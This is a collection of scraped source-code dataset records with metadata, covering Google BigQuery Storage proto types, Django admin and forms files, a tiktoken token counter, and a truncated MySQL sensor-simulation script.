write_stream (str):\n            Required. The stream that is the target of\n            the flush operation.\n        offset (google.protobuf.wrappers_pb2.Int64Value):\n            Ending offset of the flush operation. Rows\n            before this offset(including this offset) will\n            be flushed.\n    \"\"\"\n\n    write_stream: str = proto.Field(\n        proto.STRING,\n        number=1,\n    )\n    offset: wrappers_pb2.Int64Value = proto.Field(\n        proto.MESSAGE,\n        number=2,\n        message=wrappers_pb2.Int64Value,\n    )\n\n\nclass FlushRowsResponse(proto.Message):\n    r\"\"\"Respond message for ``FlushRows``.\n\n    Attributes:\n        offset (int):\n            The rows before this offset (including this\n            offset) are flushed.\n    \"\"\"\n\n    offset: int = proto.Field(\n        proto.INT64,\n        number=1,\n    )\n\n\nclass StorageError(proto.Message):\n    r\"\"\"Structured custom BigQuery Storage error message. The error\n    can be attached as error details in the returned rpc Status. In\n    particular, the use of error codes allows more structured error\n    handling, and reduces the need to evaluate unstructured error\n    text strings.\n\n    Attributes:\n        code (google.cloud.bigquery_storage_v1.types.StorageError.StorageErrorCode):\n            BigQuery Storage specific error code.\n        entity (str):\n            Name of the failed entity.\n        error_message (str):\n            Message that describes the error.\n    \"\"\"\n\n    class StorageErrorCode(proto.Enum):\n        r\"\"\"Error code for ``StorageError``.\n\n        Values:\n            STORAGE_ERROR_CODE_UNSPECIFIED (0):\n                Default error.\n            TABLE_NOT_FOUND (1):\n                Table is not found in the system.\n            STREAM_ALREADY_COMMITTED (2):\n                Stream is already committed.\n            STREAM_NOT_FOUND (3):\n                Stream is not found.\n            INVALID_STREAM_TYPE (4):\n                Invalid Stream type.\n                For example, you try to commit a stream that is\n                not pending.\n            INVALID_STREAM_STATE (5):\n                Invalid Stream state.\n                For example, you try to commit a stream that is\n                not finalized or is garbaged.\n            STREAM_FINALIZED (6):\n                Stream is finalized.\n            SCHEMA_MISMATCH_EXTRA_FIELDS (7):\n                There is a schema mismatch and it is caused\n                by user schema has extra field than bigquery\n                schema.\n            OFFSET_ALREADY_EXISTS (8):\n                Offset already exists.\n            OFFSET_OUT_OF_RANGE (9):\n                Offset out of range.\n            CMEK_NOT_PROVIDED (10):\n                Customer-managed encryption key (CMEK) not\n                provided for CMEK-enabled data.\n            INVALID_CMEK_PROVIDED (11):\n                Customer-managed encryption key (CMEK) was\n                incorrectly provided.\n            CMEK_ENCRYPTION_ERROR (12):\n                There is an encryption error while using\n                customer-managed encryption key.\n            KMS_SERVICE_ERROR (13):\n                Key Management Service (KMS) service returned\n                an error, which can be retried.\n            KMS_PERMISSION_DENIED (14):\n                Permission denied while using\n                customer-managed encryption key.\n        \"\"\"\n        STORAGE_ERROR_CODE_UNSPECIFIED = 0\n        TABLE_NOT_FOUND = 1\n        STREAM_ALREADY_COMMITTED = 2\n        STREAM_NOT_FOUND = 3\n        INVALID_STREAM_TYPE = 4\n        INVALID_STREAM_STATE = 5\n        STREAM_FINALIZED = 6\n        SCHEMA_MISMATCH_EXTRA_FIELDS = 7\n        OFFSET_ALREADY_EXISTS = 8\n        OFFSET_OUT_OF_RANGE = 9\n        CMEK_NOT_PROVIDED = 10\n        INVALID_CMEK_PROVIDED = 11\n        CMEK_ENCRYPTION_ERROR = 12\n        KMS_SERVICE_ERROR = 13\n        KMS_PERMISSION_DENIED = 14\n\n    code: StorageErrorCode = proto.Field(\n        proto.ENUM,\n        number=1,\n        enum=StorageErrorCode,\n    )\n    entity: str = proto.Field(\n        proto.STRING,\n        number=2,\n    )\n    error_message: str = proto.Field(\n        proto.STRING,\n        number=3,\n    )\n\n\nclass RowError(proto.Message):\n    r\"\"\"The message that presents row level error info in a request.\n\n    Attributes:\n        index (int):\n            Index of the malformed row in the request.\n        code (google.cloud.bigquery_storage_v1.types.RowError.RowErrorCode):\n            Structured error reason for a row error.\n        message (str):\n            Description of the issue encountered when\n            processing the row.\n    \"\"\"\n\n    class RowErrorCode(proto.Enum):\n        r\"\"\"Error code for ``RowError``.\n\n        Values:\n            ROW_ERROR_CODE_UNSPECIFIED (0):\n                Default error.\n            FIELDS_ERROR (1):\n                One or more fields in the row has errors.\n        \"\"\"\n        ROW_ERROR_CODE_UNSPECIFIED = 0\n        FIELDS_ERROR = 1\n\n    index: int = proto.Field(\n        proto.INT64,\n        number=1,\n    )\n    code: RowErrorCode = proto.Field(\n        proto.ENUM,\n        number=2,\n        enum=RowErrorCode,\n    )\n    message: str = proto.Field(\n        proto.STRING,\n        number=3,\n    )\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n", "repo_name": "googleapis/python-bigquery-storage", "sub_path": "google/cloud/bigquery_storage_v1/types/storage.py", "file_name": "storage.py", "file_ext": "py", "file_size_in_byte": 30939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 92, "dataset": "github-code", "pt": "78", "api": [{"api_name": "proto.module", "line_number": 17, "usage_type": "call"}, {"api_name": "proto.Message", "line_number": 43, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 79, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 80, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.ReadSession", "line_number": 83, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 83, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 83, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 84, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.ReadSession", "line_number": 86, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 86, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 88, "usage_type": "call"}, {"api_name": "proto.INT32", "line_number": 89, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 92, "usage_type": "call"}, {"api_name": "proto.INT32", "line_number": 93, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 98, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 111, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 112, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 115, "usage_type": "call"}, {"api_name": "proto.INT64", "line_number": 116, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 121, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 131, "usage_type": "call"}, {"api_name": "proto.INT32", "line_number": 132, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 137, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 146, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 168, "usage_type": "call"}, {"api_name": "proto.DOUBLE", "line_number": 169, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 172, "usage_type": "call"}, {"api_name": "proto.DOUBLE", "line_number": 173, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 177, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 178, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 184, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro.AvroRows", "line_number": 223, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro", "line_number": 223, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 223, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 224, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro.AvroRows", "line_number": 227, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro", "line_number": 227, "usage_type": "name"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow.ArrowRecordBatch", "line_number": 229, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow", "line_number": 229, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 229, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 230, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow.ArrowRecordBatch", "line_number": 233, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow", "line_number": 233, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 235, "usage_type": "call"}, {"api_name": "proto.INT64", "line_number": 236, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 239, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 240, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 244, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 245, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro.AvroSchema", "line_number": 249, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro", "line_number": 249, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 249, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 250, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro.AvroSchema", "line_number": 253, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.avro", "line_number": 253, "usage_type": "name"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow.ArrowSchema", "line_number": 255, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow", "line_number": 255, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 255, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 256, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow.ArrowSchema", "line_number": 259, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.arrow", "line_number": 259, "usage_type": "name"}, {"api_name": "proto.Message", "line_number": 263, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 284, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 285, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 288, "usage_type": "call"}, {"api_name": "proto.DOUBLE", "line_number": 289, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 294, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.ReadStream", "line_number": 308, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 308, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 308, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 309, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.ReadStream", "line_number": 311, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 311, "usage_type": "name"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.ReadStream", "line_number": 313, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 313, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 313, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 314, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.ReadStream", "line_number": 316, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 316, "usage_type": "name"}, {"api_name": "proto.Message", "line_number": 320, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 332, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 333, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.WriteStream", "line_number": 336, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 336, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 336, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 337, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.WriteStream", "line_number": 339, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 339, "usage_type": "name"}, {"api_name": "proto.Message", "line_number": 343, "usage_type": "attribute"}, {"api_name": "proto.Enum", "line_number": 442, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 463, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf.ProtoSchema", "line_number": 485, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf", "line_number": 485, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 485, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 486, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf.ProtoSchema", "line_number": 488, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf", "line_number": 488, "usage_type": "name"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf.ProtoRows", "line_number": 490, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf", "line_number": 490, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 490, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 491, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf.ProtoRows", "line_number": 493, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.protobuf", "line_number": 493, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 496, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 497, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2.Int64Value", "line_number": 500, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2", "line_number": 500, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 500, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 501, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2.Int64Value", "line_number": 503, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2", "line_number": 503, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 505, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 506, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 511, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 512, "usage_type": "attribute"}, {"api_name": "typing.MutableMapping", "line_number": 515, "usage_type": "name"}, {"api_name": "proto.MapField", "line_number": 517, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 518, "usage_type": "attribute"}, {"api_name": "proto.ENUM", "line_number": 519, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 523, "usage_type": "call"}, {"api_name": "proto.ENUM", "line_number": 524, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 530, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 586, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2.Int64Value", "line_number": 596, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2", "line_number": 596, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 596, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 597, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2.Int64Value", "line_number": 599, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2", "line_number": 599, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 602, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 603, "usage_type": "attribute"}, {"api_name": "google.rpc.status_pb2.Status", "line_number": 608, "usage_type": "attribute"}, {"api_name": "google.rpc.status_pb2", "line_number": 608, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 608, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 609, "usage_type": "attribute"}, {"api_name": "google.rpc.status_pb2.Status", "line_number": 612, "usage_type": "attribute"}, {"api_name": "google.rpc.status_pb2", "line_number": 612, "usage_type": "name"}, {"api_name": "google.cloud.bigquery_storage_v1.types.table.TableSchema", "line_number": 614, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.table", "line_number": 614, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 614, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 615, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.table.TableSchema", "line_number": 617, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.table", "line_number": 617, "usage_type": "name"}, {"api_name": "typing.MutableSequence", "line_number": 619, "usage_type": "name"}, {"api_name": "proto.RepeatedField", "line_number": 619, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 620, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 624, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 625, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 630, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 643, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 644, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.WriteStreamView", "line_number": 647, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 647, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 647, "usage_type": "call"}, {"api_name": "proto.ENUM", "line_number": 648, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream.WriteStreamView", "line_number": 650, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery_storage_v1.types.stream", "line_number": 650, "usage_type": "name"}, {"api_name": "proto.Message", "line_number": 654, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 667, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 668, "usage_type": "attribute"}, {"api_name": "typing.MutableSequence", "line_number": 671, "usage_type": "name"}, {"api_name": "proto.RepeatedField", "line_number": 671, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 672, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 677, "usage_type": "attribute"}, {"api_name": "google.protobuf.timestamp_pb2.Timestamp", "line_number": 695, "usage_type": "attribute"}, {"api_name": "google.protobuf.timestamp_pb2", "line_number": 695, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 695, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 696, "usage_type": "attribute"}, {"api_name": "google.protobuf.timestamp_pb2.Timestamp", "line_number": 698, "usage_type": "attribute"}, {"api_name": "google.protobuf.timestamp_pb2", "line_number": 698, "usage_type": "name"}, {"api_name": "typing.MutableSequence", "line_number": 700, "usage_type": "name"}, {"api_name": "proto.RepeatedField", "line_number": 700, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 701, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 707, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 716, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 717, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 722, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 730, "usage_type": "call"}, {"api_name": "proto.INT64", "line_number": 731, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 736, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 749, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 750, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2.Int64Value", "line_number": 753, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2", "line_number": 753, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 753, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 754, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2.Int64Value", "line_number": 756, "usage_type": "attribute"}, {"api_name": "google.protobuf.wrappers_pb2", "line_number": 756, "usage_type": "name"}, {"api_name": "proto.Message", "line_number": 760, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 769, "usage_type": "call"}, {"api_name": "proto.INT64", "line_number": 770, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 775, "usage_type": "attribute"}, {"api_name": "proto.Enum", "line_number": 791, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 853, "usage_type": "call"}, {"api_name": "proto.ENUM", "line_number": 854, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 858, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 859, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 862, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 863, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 868, "usage_type": "attribute"}, {"api_name": "proto.Enum", "line_number": 881, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 893, "usage_type": "call"}, {"api_name": "proto.INT64", "line_number": 894, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 897, "usage_type": "call"}, {"api_name": "proto.ENUM", "line_number": 898, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 902, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 903, "usage_type": "attribute"}]}
{"seq_id": "39604936544", "text": "from django.contrib import admin\r\nfrom adminsortable2.admin import SortableAdminBase\r\nfrom porch.models import Porch, PorchTypicalProject\r\nfrom common.admin import (\r\n    PageHWAWAdmin, PageDescriptionAdmin, PagePortfolioAdmin,\r\n    PageRailingsAdmin, SimplePageAdmin\r\n)\r\nfrom common.helpers import formfield_overrides\r\n\r\n\r\nclass PorchAdmin(\r\n    SortableAdminBase, SimplePageAdmin, PageHWAWAdmin,\r\n    PageRailingsAdmin, PagePortfolioAdmin, PageDescriptionAdmin):\r\n    list_display = ('name',)\r\n    filter_horizontal = ('hwaw', 'block_railings', )\r\n\r\n    def get_fieldsets(self, request, obj=None):\r\n        fieldsets = super().get_fieldsets(request, obj)\r\n        return fieldsets + (\r\n            ('Типовой проект', {\r\n                'fields': ('typical_project',)\r\n            }),\r\n        )\r\n\r\n\r\nadmin.site.register(Porch, PorchAdmin)\r\n\r\n\r\nclass PorchTypicalProjectAdmin(admin.ModelAdmin):\r\n    formfield_overrides = formfield_overrides\r\n\r\n\r\nadmin.site.register(PorchTypicalProject, PorchTypicalProjectAdmin)\r\n", "repo_name": "sav21age/som", "sub_path": "porch/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 1029, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "adminsortable2.admin.SortableAdminBase", "line_number": 12, "usage_type": "name"}, {"api_name": "common.admin.SimplePageAdmin", "line_number": 12, "usage_type": "name"}, {"api_name": "common.admin.PageHWAWAdmin", "line_number": 12, "usage_type": "name"}, {"api_name": "common.admin.PageRailingsAdmin", "line_number": 13, "usage_type": "name"}, {"api_name": "common.admin.PagePortfolioAdmin", "line_number": 13, "usage_type": "name"}, {"api_name": "common.admin.PageDescriptionAdmin", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 26, "usage_type": "call"}, {"api_name": "porch.models.Porch", "line_number": 26, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 26, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 29, "usage_type": "name"}, {"api_name": "common.helpers.formfield_overrides", "line_number": 30, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 33, "usage_type": "call"}, {"api_name": "porch.models.PorchTypicalProject", "line_number": 33, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 33, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 33, "usage_type": "name"}]}
{"seq_id": "9743335311", "text": "import tiktoken\n\n\ndef count(input_texts, output_texts, history=None):\n    all_text = \"\"\n    # チャットの履歴部分の連結\n    if history:\n        if isinstance(history, dict):\n            for key, value in history.items():\n                if isinstance(value, list):\n                    for v in value:\n                        all_text += v\n                else:\n                    all_text += value\n        elif isinstance(history, list):\n            for hist in history:\n                if isinstance(hist, list):\n                    for v in hist:\n                        all_text += v\n                else:\n                    all_text += value\n        else:\n            all_text += history\n    if isinstance(input_texts, list):\n        for input_text in input_texts:\n            all_text += input_text\n    else:\n        all_text += input_texts\n    text = f\"{all_text}{output_texts}\"\n    tiktoken_encoding = tiktoken.encoding_for_model(\"gpt-4-0613\")\n    encoded = tiktoken_encoding.encode(text)\n    encode_count = len(encoded)\n    return encode_count\n\n\nif __name__ == \"__main__\":\n    input_text = \"こんにちは\"\n    history = {\"user_input\": [\"初めまして\"], \"ai_input\": [\"初めまして、御用はなんでしょうか。\"]}\n    output_text = \"こんにちは\"\n    print(count(input_text, output_text, history))\n", "repo_name": "KentaTashiro/Nextjs-FastAPI", "sub_path": "backend/services/utils/token_count.py", "file_name": "token_count.py", "file_ext": "py", "file_size_in_byte": 1335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tiktoken.encoding_for_model", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "17549728889", "text": "\nfrom django.forms import CharField, ModelForm\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User \nfrom django import forms\n\nfrom.models import LinkedAccount, PersonalDetails, WorkDetails\n\n\nclass LinkAccountForm(forms.Form):\n    \"\"\"Form for Linking Users to their Details\"\"\"\n    id_number = forms.CharField(max_length=200)\n    first_name = forms.CharField(max_length=200)\n\n    def save(self, user):\n        linked = LinkedAccount.objects.create(user=user)\n        linked.save()\n\nclass CreateUserForm(UserCreationForm):\n    class Meta:\n        model = User\n        fields = ['username', 'email', 'password1', 'password2']\n\n\nclass PersonalDetailsForm(ModelForm):\n    class Meta:\n        model = PersonalDetails\n        fields = '__all__'\n        exclude = ['user',]\n\nclass WorkDetailsForm(ModelForm):\n    class Meta:\n        model =WorkDetails\n        fields = '__all__'", "repo_name": "SimpleNiQue/Info-Web", "sub_path": "infoweb/staff/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.forms.Form", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "models.LinkedAccount.objects.create", "line_number": 16, "usage_type": "call"}, {"api_name": "models.LinkedAccount.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.LinkedAccount", "line_number": 16, "usage_type": "name"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 19, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 21, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 25, "usage_type": "name"}, {"api_name": "models.PersonalDetails", "line_number": 27, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 31, "usage_type": "name"}, {"api_name": "models.WorkDetails", "line_number": 33, "usage_type": "name"}]}
{"seq_id": "24951484406", "text": "import MySQLdb\r\nimport time\r\nimport random\r\nimport datetime\r\nfrom datetime import datetime \r\n\r\n\r\ndatabase = MySQLdb.connect(\"localhost\", \"root\", \"\", \"suhu\")\r\ncursor = database.cursor()\r\n\r\nsql2 = cursor.execute(\"select count(*) from set_data\")\r\ndata = cursor.fetchone()\r\n\r\njml = data[0]\r\nw = 1\r\n\r\n# Pilih Ruang penyimpanan\r\nprint(\"=====Pilih Ruang Penyimpanan======\")\r\nwhile w < jml+1:\r\n    z = str(w)\r\n    sql = cursor.execute(\r\n        \"select nama_p from set_data where id_p ='\"+z+\"'\")\r\n    penyimpanan = cursor.fetchone()\r\n    t = str(penyimpanan[0])\r\n    print(w, t)\r\n    w += 1\r\npenyimpanan = str(input(\"Masukkan Nama Penyimpanan : \"))\r\n\r\n# Pilih Sensor\r\nprint(\"=======Sensor======\")\r\nprint(\"1.Kelembaban\")\r\nprint(\"2.Suhu \")\r\n\r\nsensor = int(input(\"Sensor Yang Dipilih :\"))\r\n\r\nlama_pengecekan = input(\"Jangka Waktu : \")\r\njumlah_pengecekan = input(\"Jumlah Pengecekan : \")\r\n\r\na = cursor.execute(\"select * from set_data where nama_p like '%\"+penyimpanan+\"%'\")\r\nb = cursor.fetchone()\r\nid_p = str(b[0])\r\n\r\n\r\n# sensor Kelembaban\r\nif sensor == 1:\r\n    pilih_tabel = 'humidity_p'\r\n    nilai = 0\r\n    # jps(jumlah pengecekan sensor)\r\n    jps = int(jumlah_pengecekan)\r\n    # wps(waktu pengecekan sensor)\r\n    wps = int(lama_pengecekan)\r\n    nilai_max = jps\r\n    while nilai < nilai_max:\r\n        humidity_p = str(random.randint(20, 60))\r\n        t_end = time.time() + 60 * wps\r\n        v = 0\r\n        tbl_set_data = []\r\n\r\n        while time.time() < t_end:\r\n            print(\"-----\")\r\n            v += 1\r\n\r\n        waktu = str(datetime.now())\r\n        s_data = id_p,waktu,humidity_p\r\n        tbl_set_data.append(s_data)\r\n        sq = \"insert into \"+pilih_tabel +\" (id_penyimpanan,Waktu,Humidity) values (%s,%s,%s)\"\r\n        inpt = cursor.executemany(sq, tbl_set_data)\r\n        print(\"Data Pengecekan Berhasil\", tbl_set_data)\r\n\r\n        nilai += 1\r\n\r\n\r\n# Sensor Suhu\r\nif sensor == 2:\r\n    pilih_tabel = 'temperature_p'\r\n    nilai = 0\r\n    